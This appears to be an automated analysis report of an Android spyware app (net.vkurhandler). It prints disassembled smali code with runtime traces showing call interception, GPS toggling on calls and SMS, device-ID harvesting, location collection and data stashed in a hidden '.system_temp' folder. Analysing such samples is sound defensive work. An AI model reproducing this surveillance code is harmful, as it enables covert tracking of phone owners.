                    176invoke-interface {v3, v4, v0}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    177move-result-object v3
                    179invoke-interface {v3}, Landroid/content/SharedPreferences$Editor;->apply()V
                    181invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    182move-result v3
                    183if-eqz v3, :cond_103
                    185const-string v3, "Proxier"
                    186const/4 v4, 0x2
                    187new-array v4, v4, [Ljava/lang/String;
                    188const/4 v5, 0x0
                    190const-string v6, "set new host "
                    191aput-object v6, v4, v5
                    192const/4 v5, 0x1
                    193aput-object v0, v4, v5
                    195invoke-static {v3, v4}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    196cond_103: add-int/lit8 v2, v2, 0x1
                    197goto/16 :goto_45
                    198catch_107: move-exception v0
                    200const-string v1, "Proxier"
                    202invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    203goto/16 :goto_4b
                    Cross References
                    APIs
                    • android.content.Context.getApplicationContext
                    • net.vkurhandler.MyApp.d
                    • net.vkurhandler.DispatchService.a
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.t
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.t
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.System.currentTimeMillis
                    • java.lang.String.valueOf
                    • net.vkurhandler.MyApp.d
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.t
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.t
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    Strings
                    • type
                    • sub_type
                    • toggle_gps_on_call
                    • wait_for_toogle_gps
                    • 1535719278641
                    • toggle_gps_on_sms
                    Position Instruction Meta Information
                    0const/4 v4, 0x0
                    1const/4 v3, 0x1
                    3invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                    4move-result-object v0
                    5check-cast v0, Lnet/vkurhandler/MyApp;
                    7invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->d()Lnet/vkurhandler/bh;
                    8move-result-object v1
                    10invoke-virtual {v1}, Lnet/vkurhandler/bh;->a()Landroid/location/Location;
                    11move-result-object v1
                    12if-eqz v1, :cond_1d
                    14invoke-static {p0, v1}, Lnet/vkurhandler/bf;->a(Landroid/content/Context;Landroid/location/Location;)Lnet/vkurhandler/be;
                    15move-result-object v0
                    17invoke-static {p1, v0}, Lnet/vkurhandler/bf;->a(Lnet/vkurhandler/be;Lnet/vkurhandler/be;)V
                    19invoke-static {p0}, Lnet/vkurhandler/DispatchService;->a(Landroid/content/Context;)V
                    20goto_1c: return-void
                    21cond_1d:
                    22const-string v1, "type"
                    24invoke-virtual {p1, v1}, Lnet/vkurhandler/be;->b(Ljava/lang/String;)I
                    25move-result v1
                    27const-string v2, "sub_type"
                    29invoke-virtual {p1, v2}, Lnet/vkurhandler/be;->b(Ljava/lang/String;)I
                    30move-result v2
                    31if-ne v1, v3, :cond_5c
                    32const/4 v1, 0x3
                    33if-ne v2, v1, :cond_6f
                    35invoke-static {p0}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    36move-result-object v1
                    38invoke-virtual {v1}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    39move-result-object v1
                    41const-string v2, "toggle_gps_on_call"
                    43invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    44move-result v1
                    45if-eqz v1, :cond_5c
                    47invoke-static {p0}, Lnet/vkurhandler/gn;->q(Landroid/content/Context;)Z
                    48move-result v1
                    49if-nez v1, :cond_5c
                    51invoke-static {p0, v3}, Lnet/vkurhandler/gn;->a(Landroid/content/Context;Z)V
                    53invoke-static {p0}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    54move-result-object v1
                    56invoke-virtual {v1}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    57move-result-object v1
                    59invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    60move-result-object v1
                    62const-string v2, "wait_for_toogle_gps"
                    64invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    65move-result-object v1
                    67invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    68goto_5c:
                    69invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    70move-result-wide v2
                    72invoke-static {v2, v3}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
                    73move-result-object v1
                    75invoke-static {p1, v1}, Lnet/vkurhandler/bf;->a(Lnet/vkurhandler/be;Ljava/lang/String;)V
                    77invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->d()Lnet/vkurhandler/bh;
                    78move-result-object v0
                    80invoke-virtual {v0, v1}, Lnet/vkurhandler/bh;->a(Ljava/lang/String;)V
                    • Time: 1402540
                      • This:
                        • net.vkurhandler.bh@42b9d01
                      • p0: 1535719278641
                    81goto/16 :goto_1c
                    82cond_6f: const/4 v1, 0x2
                    83if-ne v2, v1, :cond_5c
                    85invoke-static {p0}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    86move-result-object v1
                    88invoke-virtual {v1}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    89move-result-object v1
                    91const-string v2, "toggle_gps_on_sms"
                    93invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    94move-result v1
                    95if-eqz v1, :cond_5c
                    97invoke-static {p0}, Lnet/vkurhandler/gn;->q(Landroid/content/Context;)Z
                    98move-result v1
                    99if-nez v1, :cond_5c
                    101invoke-static {p0, v3}, Lnet/vkurhandler/gn;->a(Landroid/content/Context;Z)V
                    103invoke-static {p0}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    104move-result-object v1
                    106invoke-virtual {v1}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    107move-result-object v1
                    109invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    110move-result-object v1
                    112const-string v2, "wait_for_toogle_gps"
                    114invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    115move-result-object v1
                    117invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    118goto/16 :goto_5c
                    Cross References
                    APIs
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.t
                    • java.lang.Integer.valueOf
                    • java.lang.String.format
                    • android.content.Intent.getStringExtra
                    • android.text.TextUtils.isEmpty
                    • net.vkurhandler.CallReceiver.b
                    • net.vkurhandler.CallReceiver.setResultData
                    • net.vkurhandler.CallReceiver.abortBroadcast
                    • android.content.Context.getMainLooper
                    • android.os.Handler.<init>
                    • android.os.Handler.postDelayed
                    • net.vkurhandler.CallReceiver.a
                    • java.lang.String.matches
                    • java.lang.Integer.valueOf
                    • java.lang.String.format
                    Strings
                    • CallReceiver
                    • isNewOutgoingCall,State:%d
                    • 9876543210
                    • android.intent.extra.PHONE_NUMBER
                    • 9876543210
                    • Run GUI
                    • \\+[0-9]{3,15}|[0-9]{3,15}
                    • unknown outgoing call state:%d
                    Position Instruction Meta Information
                    0const/4 v8, 0x2
                    1const/4 v7, 0x1
                    2const/4 v6, 0x0
                    4invoke-static {p1}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    5move-result-object v0
                    7invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    8move-result-object v0
                    10invoke-static {v0}, Lnet/vkurhandler/ad;->a(Landroid/content/SharedPreferences;)I
                    11move-result v1
                    13invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    14move-result v2
                    15if-eqz v2, :cond_28
                    17const-string v2, "CallReceiver"
                    19const-string v3, "isNewOutgoingCall,State:%d"
                    20new-array v4, v7, [Ljava/lang/Object;
                    22invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    23move-result-object v5
                    24aput-object v5, v4, v6
                    26invoke-static {v3, v4}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    27move-result-object v3
                    29invoke-static {v2, v3}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    30cond_28:
                    31const-string v2, "android.intent.extra.PHONE_NUMBER"
                    33invoke-virtual {p2, v2}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                    • Time: 1428453
                      • This:
                        • Intent { act=android.intent.action.NEW_OUTGOING_CALL (has extras) }
                      • p0: android.intent.extra.PHONE_NUMBER
                      • Return:
                        • 9876543210
                    34move-result-object v2
                    36invoke-static {v2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    37move-result v3
                    38if-eqz v3, :cond_35
                    39goto_34: return-void
                    40cond_35:
                    41invoke-static {v2}, Lnet/vkurhandler/gn;->e(Ljava/lang/String;)Ljava/lang/String;
                    • Time: 1428462
                      • p0: 9876543210
                      • Return:
                        • 9876543210
                    42move-result-object v2
                    44invoke-direct {p0, v0, v2}, Lnet/vkurhandler/CallReceiver;->b(Landroid/content/SharedPreferences;Ljava/lang/String;)Z
                    45move-result v3
                    46if-eqz v3, :cond_6b
                    47const/4 v1, 0x0
                    49invoke-virtual {p0, v1}, Lnet/vkurhandler/CallReceiver;->setResultData(Ljava/lang/String;)V
                    51invoke-virtual {p0}, Lnet/vkurhandler/CallReceiver;->abortBroadcast()V
                    52new-instance v1, Landroid/os/Handler;
                    54invoke-virtual {p1}, Landroid/content/Context;->getMainLooper()Landroid/os/Looper;
                    55move-result-object v2
                    57invoke-direct {v1, v2}, Landroid/os/Handler;-><init>(Landroid/os/Looper;)V
                    58new-instance v2, Lnet/vkurhandler/ac;
                    60invoke-direct {v2, p0, p1}, Lnet/vkurhandler/ac;-><init>(Lnet/vkurhandler/CallReceiver;Landroid/content/Context;)V
                    61const-wide/16 v4, 0x3e8
                    63invoke-virtual {v1, v2, v4, v5}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
                    64const/4 v1, 0x5
                    66invoke-static {v0, v1}, Lnet/vkurhandler/CallReceiver;->a(Landroid/content/SharedPreferences;I)V
                    68invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    69move-result v0
                    70if-eqz v0, :cond_34
                    72const-string v0, "CallReceiver"
                    74const-string v1, "Run GUI"
                    76invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    77goto/16 :goto_34
                    78cond_6b: if-eqz v1, :cond_6f
                    79if-ne v1, v8, :cond_7e
                    80cond_6f:
                    81const-string v1, "\\+[0-9]{3,15}|[0-9]{3,15}"
                    83invoke-virtual {v2, v1}, Ljava/lang/String;->matches(Ljava/lang/String;)Z
                    84move-result v1
                    85if-eqz v1, :cond_34
                    87invoke-static {v0, v2}, Lnet/vkurhandler/ad;->a(Landroid/content/SharedPreferences;Ljava/lang/String;)V
                    89invoke-static {v0, v8}, Lnet/vkurhandler/ad;->a(Landroid/content/SharedPreferences;I)V
                    90goto/16 :goto_34
                    91cond_7e:
                    92invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    93move-result v0
                    94if-eqz v0, :cond_34
                    96const-string v0, "CallReceiver"
                    98const-string v2, "unknown outgoing call state:%d"
                    99new-array v3, v7, [Ljava/lang/Object;
                    101invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    102move-result-object v1
                    103aput-object v1, v3, v6
                    105invoke-static {v2, v3}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    106move-result-object v1
                    108invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    109goto/16 :goto_34
                    Cross References
                    APIs
                    • net.vkurhandler.MyApp.t
                    • android.content.SharedPreferences.getString
                    • java.lang.String.length
                    • android.telephony.TelephonyManager.getDeviceId
                    • android.text.TextUtils.isEmpty
                    • java.lang.Class.forName
                    • java.lang.Class.getMethod
                    • java.lang.reflect.Method.invoke
                    • android.text.TextUtils.isEmpty
                    • android.content.Context.getContentResolver
                    • android.provider.Settings$Secure.getString
                    • net.vkurhandler.MyApp.t
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    Strings
                    • device_id
                    • android.os.SystemProperties
                    • get
                    • ro.serialno
                    • android_id
                    • 000000000000000
                    • 123456123456123
                    • Mobile
                    Position Instruction Meta Information
                    1const-string v1, ""
                    2try_start_2:
                    3iget-object v0, p0, Lnet/vkurhandler/Mobile;->g:Landroid/content/Context;
                    4check-cast v0, Lnet/vkurhandler/MyApp;
                    6invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    7move-result-object v0
                    9const-string v2, "device_id"
                    11const-string v3, ""
                    13invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    • Time: 1272002
                      • This:
                        • android.app.SharedPreferencesImpl@b9c5343
                      • p0: device_id
                      • p1: ""
                      • Return:
                        • ""
                    14try_end_11: move-result-object v0
                    15try_start_12:
                    16invoke-virtual {v0}, Ljava/lang/String;->length()I
                    17move-result v1
                    18if-nez v1, :cond_7b
                    20iget-object v1, p0, Lnet/vkurhandler/Mobile;->a:Landroid/telephony/TelephonyManager;
                    21if-eqz v1, :cond_9b
                    23iget-object v1, p0, Lnet/vkurhandler/Mobile;->a:Landroid/telephony/TelephonyManager;
                    25invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
                    26try_end_21: move-result-object v1
                    27goto_22:
                    28invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    29try_end_25: move-result v0
                    30if-eqz v0, :cond_5f
                    31try_start_28:
                    32const-string v0, "android.os.SystemProperties"
                    34invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                    35move-result-object v0
                    37const-string v2, "get"
                    38const/4 v3, 0x1
                    39new-array v3, v3, [Ljava/lang/Class;
                    40const/4 v4, 0x0
                    41const-class v5, Ljava/lang/String;
                    42aput-object v5, v3, v4
                    44invoke-virtual {v0, v2, v3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                    45move-result-object v0
                    47iget-object v2, p0, Lnet/vkurhandler/Mobile;->g:Landroid/content/Context;
                    48const/4 v3, 0x1
                    49new-array v3, v3, [Ljava/lang/Object;
                    50const/4 v4, 0x0
                    52const-string v5, "ro.serialno"
                    53aput-object v5, v3, v4
                    55invoke-virtual {v0, v2, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                    56move-result-object v0
                    57check-cast v0, Ljava/lang/String;
                    58try_end_4c: move-object v1, v0
                    59goto_4d:
                    60invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    61move-result v0
                    62if-eqz v0, :cond_5f
                    64iget-object v0, p0, Lnet/vkurhandler/Mobile;->g:Landroid/content/Context;
                    66invoke-virtual {v0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                    67move-result-object v0
                    69const-string v2, "android_id"
                    71invoke-static {v0, v2}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                    72move-result-object v1
                    73cond_5f:
                    74invoke-static {v1}, Lnet/vkurhandler/gn;->f(Ljava/lang/String;)Z
                    75move-result v0
                    76if-eqz v0, :cond_99
                    78iget-object v0, p0, Lnet/vkurhandler/Mobile;->g:Landroid/content/Context;
                    79check-cast v0, Lnet/vkurhandler/MyApp;
                    81invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    82move-result-object v0
                    84invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    85move-result-object v0
                    87const-string v2, "device_id"
                    89invoke-interface {v0, v2, v1}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    90move-result-object v0
                    92invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    93try_end_7a: move-object v0, v1
                    94cond_7b:
                    95const-string v1, "000000000000000"
                    97invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    98move-result v1
                    99if-eqz v1, :cond_85
                    101const-string v0, "123456123456123"
                    102cond_85: return-object v0
                    103catch_86: move-exception v0
                    104try_start_87:
                    105const-string v2, "Mobile"
                    107invoke-static {v2, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    108try_end_8c: goto/16 :goto_4d
                    109catch_8d: move-exception v0
                    110move-object v6, v0
                    111move-object v0, v1
                    112move-object v1, v6
                    113goto_91:
                    114const-string v2, "Mobile"
                    116invoke-static {v2, v1}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    117goto/16 :goto_7b
                    118catch_97: move-exception v1
                    119goto/16 :goto_91
                    120cond_99: move-object v0, v1
                    121goto/16 :goto_7b
                    122cond_9b: move-object v1, v0
                    123goto/16 :goto_22
                    Cross References
                    APIs
                    • android.os.Environment.getExternalStorageDirectory
                    • java.io.File.getAbsolutePath
                    • java.lang.StringBuilder.<init>
                    • java.lang.System.currentTimeMillis
                    • java.lang.Boolean.booleanValue
                    • java.io.File.separator:Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.io.File.separator:Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • android.text.TextUtils.isEmpty
                    • java.lang.Long.valueOf
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.io.File.<init>
                    • java.lang.RuntimeException.<init>
                    Strings
                    • /storage/emulated/0/.system_android/.data/.system_temp
                    • .system_android/.data/.system_temp
                    • reptilicus
                    • /storage/emulated/0/.system_android/.data/.system_temp/fb.cp
                    • /storage/emulated/0/.system_android/.data/.system_temp/fb2.cp
                    • /storage/emulated/0/.system_android/.data/.system_temp/ok.cp
                    • /storage/emulated/0/.system_android/.data/.system_temp/vi.cp
                    • /storage/emulated/0/.system_android/.data/.system_temp/vk1.cp
                    • Utils->getMediaFile
                    Position Instruction Meta Information
                    0try_start_0:
                    1invoke-static {}, Lnet/vkurhandler/gn;->c()Z
                    • Time: 1272365
                      • This:
                        • /storage/emulated/0/.system_android/.data/.system_temp
                      • p0: /storage/emulated/0/.system_android/.data/.system_temp
                      • Return:
                        • /storage/emulated/0/.system_android/.data/.system_temp
                    • Time: 1272469
                      • Return:
                        • true
                    2new-instance v4, Ljava/lang/StringBuilder;
                    4invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
                    5move-result-object v0
                    7invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                    8move-result-object v0
                    10invoke-direct {v4, v0}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    12invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    13move-result-wide v0
                    14sget-wide v2, Lnet/vkurhandler/gn;->b:J
                    15cmp-long v2, v0, v2
                    16if-nez v2, :cond_5f
                    17const-wide/16 v2, 0x1
                    18add-long/2addr v0, v2
                    19move-wide v2, v0
                    20goto_1e:
                    21const-string v0, ".system_android/.data/.system_temp"
                    23sget-object v1, Lnet/vkurhandler/cd;->d:Ljava/lang/Boolean;
                    25invoke-virtual {v1}, Ljava/lang/Boolean;->booleanValue()Z
                    26move-result v1
                    27if-eqz v1, :cond_2a
                    29const-string v0, "reptilicus"
                    30cond_2a:
                    31sget-object v1, Ljava/io/File;->separator:Ljava/lang/String;
                    33invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    34move-result-object v1
                    36invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    37move-result-object v0
                    39sget-object v1, Ljava/io/File;->separator:Ljava/lang/String;
                    41invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    42move-result-object v0
                    44invoke-static {p0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    45move-result v1
                    46if-eqz v1, :cond_44
                    48invoke-static {v2, v3}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
                    49move-result-object p0
                    50cond_44:
                    51invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                    52sput-wide v2, Lnet/vkurhandler/gn;->b:J
                    53new-instance v0, Ljava/io/File;
                    55invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    56move-result-object v1
                    58invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    • Time: 1272505
                      • This:
                        • /storage/emulated/0/.system_android/.data/.system_temp/fb.cp
                      • p0: /storage/emulated/0/.system_android/.data/.system_temp/fb.cp
                      • Return:
                        • /storage/emulated/0/.system_android/.data/.system_temp/fb.cp
                    • Time: 1272582
                      • This:
                        • /storage/emulated/0/.system_android/.data/.system_temp/fb2.cp
                      • p0: /storage/emulated/0/.system_android/.data/.system_temp/fb2.cp
                      • Return:
                        • /storage/emulated/0/.system_android/.data/.system_temp/fb2.cp
                    • Time: 1272768
                      • This:
                        • /storage/emulated/0/.system_android/.data/.system_temp/ok.cp
                      • p0: /storage/emulated/0/.system_android/.data/.system_temp/ok.cp
                      • Return:
                        • /storage/emulated/0/.system_android/.data/.system_temp/ok.cp
                    • Time: 1272912
                      • This:
                        • /storage/emulated/0/.system_android/.data/.system_temp/vk1.cp
                      • p0: /storage/emulated/0/.system_android/.data/.system_temp/vk1.cp
                      • Return:
                        • /storage/emulated/0/.system_android/.data/.system_temp/vk1.cp
                    • Time: 1273263
                      • This:
                        • /storage/emulated/0/.system_android/.data/.system_temp/vi.cp
                      • p0: /storage/emulated/0/.system_android/.data/.system_temp/vi.cp
                      • Return:
                        • /storage/emulated/0/.system_android/.data/.system_temp/vi.cp
                    59try_end_52: return-object v0
                    60catch_53: move-exception v0
                    62const-string v1, "Utils->getMediaFile"
                    64invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    65new-instance v1, Ljava/lang/RuntimeException;
                    67invoke-direct {v1, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/Throwable;)V
                    68throw v1
                    69cond_5f: move-wide v2, v0
                    70goto/16 :goto_1e
                    APIs
                    • android.content.Intent.getAction
                    • java.lang.String.equals
                    • android.content.Intent.getBooleanExtra
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.t
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.DispatchService.a
                    • android.content.Context.getApplicationContext
                    • android.content.SharedPreferences.getBoolean
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • java.util.Calendar.getInstance
                    • java.util.Calendar.get
                    • android.content.SharedPreferences.getInt
                    Strings
                    • android.net.conn.CONNECTIVITY_CHANGE
                    • android.intent.action.NEW_OUTGOING_CALL
                    • android.provider.Telephony.SMS_RECEIVED
                    • noConnectivity
                    • success_gcm_key
                    • remote_preference_wait_for_inet
                    • remote_preference_last_save_day
                    • WatchDogReceiver
                    Position Instruction Meta Information
                    0const/4 v0, 0x0
                    1try_start_1:
                    2const-string v1, "android.net.conn.CONNECTIVITY_CHANGE"
                    4invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                    • Time: 1402542
                      • This:
                        • Intent { act=android.provider.Telephony.SMS_RECEIVED (has extras) }
                      • Return:
                        • android.provider.Telephony.SMS_RECEIVED
                    • Time: 1428482
                      • This:
                        • Intent { act=android.intent.action.NEW_OUTGOING_CALL (has extras) }
                      • Return:
                        • android.intent.action.NEW_OUTGOING_CALL
                    5move-result-object v2
                    7invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    8move-result v1
                    9if-eqz v1, :cond_56
                    11const-string v1, "noConnectivity"
                    12const/4 v2, 0x0
                    14invoke-virtual {p2, v1, v2}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z
                    15move-result v1
                    16if-eqz v1, :cond_57
                    17goto_16: if-eqz v0, :cond_56
                    19invoke-static {p1}, Lnet/vkurhandler/bc;->a(Landroid/content/Context;)V
                    21invoke-static {p1}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    22move-result-object v0
                    24invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    25move-result-object v0
                    27const-string v1, "success_gcm_key"
                    28const/4 v2, 0x0
                    30invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    31move-result v1
                    32if-nez v1, :cond_2f
                    34invoke-static {p1}, Lnet/vkurhandler/gn;->a(Landroid/content/Context;)V
                    35cond_2f:
                    36invoke-static {p1}, Lnet/vkurhandler/DispatchService;->a(Landroid/content/Context;)V
                    38invoke-virtual {p1}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                    39move-result-object v1
                    41invoke-static {v1}, Lnet/vkurhandler/dc;->a(Landroid/content/Context;)V
                    43const-string v1, "remote_preference_wait_for_inet"
                    44const/4 v2, 0x0
                    46invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    47move-result v1
                    48if-eqz v1, :cond_59
                    50invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    51move-result-object v0
                    53const-string v1, "remote_preference_wait_for_inet"
                    54const/4 v2, 0x0
                    56invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    57move-result-object v0
                    59invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    61invoke-static {}, Lnet/vkurhandler/dx;->a()V
                    63invoke-static {p1}, Lnet/vkurhandler/dx;->b(Landroid/content/Context;)V
                    64goto_56: return-void
                    65cond_57: const/4 v0, 0x1
                    66goto/16 :goto_16
                    67cond_59:
                    68invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar;
                    69move-result-object v1
                    70const/4 v2, 0x5
                    72invoke-virtual {v1, v2}, Ljava/util/Calendar;->get(I)I
                    73move-result v1
                    75const-string v2, "remote_preference_last_save_day"
                    76const/4 v3, -0x1
                    78invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    79move-result v0
                    80if-eq v0, v1, :cond_56
                    82invoke-static {p1}, Lnet/vkurhandler/dx;->a(Landroid/content/Context;)V
                    83try_end_6e: goto/16 :goto_56
                    84catch_6f: move-exception v0
                    86const-string v1, "WatchDogReceiver"
                    88invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    89goto/16 :goto_56
                    Cross References
                    APIs
                    • net.vkurhandler.MyApp.v
                    • android.location.Location.getProvider
                    • java.lang.String.equals
                    • android.location.Location.getAccuracy
                    • android.location.Location.getLatitude
                    • android.location.Location.getLongitude
                    • android.location.Location.getSpeed
                    • android.location.Location.getProvider
                    • java.lang.String.equals
                    Strings
                    • type
                    • mcc
                    • mnc
                    • lac
                    • cid
                    • network
                    • accuracy
                    • lat
                    • lng
                    • speed
                    • gps
                    Position Instruction Meta Information
                    1invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    2move-result-object v1
                    3if-nez p1, :cond_3a
                    4check-cast p0, Lnet/vkurhandler/MyApp;
                    6invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->v()Lnet/vkurhandler/Mobile;
                    7move-result-object v0
                    9invoke-virtual {v0}, Lnet/vkurhandler/Mobile;->b()V
                    11const-string v2, "type"
                    12const/4 v3, 0x3
                    14invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    16const-string v2, "mcc"
                    18invoke-virtual {v0}, Lnet/vkurhandler/Mobile;->e()I
                    19move-result v3
                    21invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    23const-string v2, "mnc"
